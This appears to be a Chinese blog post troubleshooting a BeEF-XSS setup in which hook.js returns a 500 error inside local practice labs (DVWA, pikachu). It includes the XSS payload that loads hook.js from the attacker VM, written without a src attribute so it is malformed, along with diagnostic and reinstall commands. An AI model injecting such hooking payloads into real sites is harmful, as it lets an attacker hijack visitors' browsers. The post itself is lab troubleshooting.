beef-xss hook.js访问失败500错误

错误现象

在物理机靶场(dvwa或者pikachu)
提交

复制代码
 <script>http://虚拟机IP:3000/hook.js</script>

通过F12查看网络请求,可以看到获取hook.js文件的请求是报错的
500 Internal Server Error

问题排查

在Kali中打开火狐浏览器,访问:

复制代码
http://127.0.0.1:3000/demos/basic.html

在输入框粘贴:

复制代码
<script>http://127.0.0.1:3000/hook.js</script>

然后点击advanced demo page进行访问

打开控制台,如果:

  • 1、可以看到Kali本机上线,可以证明程序没问题,是物理机和虚拟机网络的问题。
  • 2、反之,如果无法上线,那么就是程序本身的问题。

问题原因

因为和虚拟机的网络是连通的(可以ping通),而且本机的3000端口用

复制代码
netstat -an|grep 3000

命令确认正在监听,可以判断是安装的程序出了问题。

解决办法

彻底卸载 beef-xss
命令:

复制代码
apt remove beef-xss

此外,还要删除遗留的文件:
只删除因为安装而产生的文件

复制代码
find / -name "*beef-xss*"

这里提供一个现成的命令:

language-bash 复制代码
rm -rf /var/lib/beef-xss/
rm -rf /var/lib/dpkg/info/beef-xss*
rm -rf /usr/bin/beef-xss
rm -rf /usr/bin/beef-xss-stop
rm -rf /usr/share/beef-xss
rm -rf /usr/share/doc/beef-xss
rm -rf /etc/beef-xss

删除以后,更新系统:

复制代码
apt update
apt upgrade

重装:

复制代码
apt install beef-xss
相关推荐
代码煮茶20 小时前
React 组件封装方法论 —— 以 Todo App 为例
javascript·react.js
任沫20 小时前
Agent之Function Call
javascript·人工智能·go
默_笙21 小时前
🛬 我让 AI 帮我写了一个打飞机游戏,结果 Canvas 把我整不会了
前端·javascript
梯度不陡21 小时前
AI 到底能不能从零写软件?ProgramBench 和 RepoZero 给出了两种答案
前端·javascript·面试
胡萝卜术1 天前
滑动窗口最大值:从暴力到单调队列,层层优化全解析
前端·javascript·面试
kyriewen1 天前
2026 年了,这 6 个 npm 包可以卸载了——浏览器原生 API 已经能替代
前端·javascript·npm
铁皮饭盒1 天前
bun直接tsx,优雅!
javascript·后端
_柳青杨1 天前
一文吃透 Node.js 事件循环:从原理到 Node 20+ 重大变更
javascript·后端
JieE2122 天前
LeetCode 101. 对称二叉树|JS 递归 + 迭代双解法,彻底搞懂镜像判断
javascript·算法
冬奇Lab2 天前
AI Workflow 定义的四次演进:从 Markdown 到 JS 脚本,再到分布式多 Agent
javascript·人工智能·agent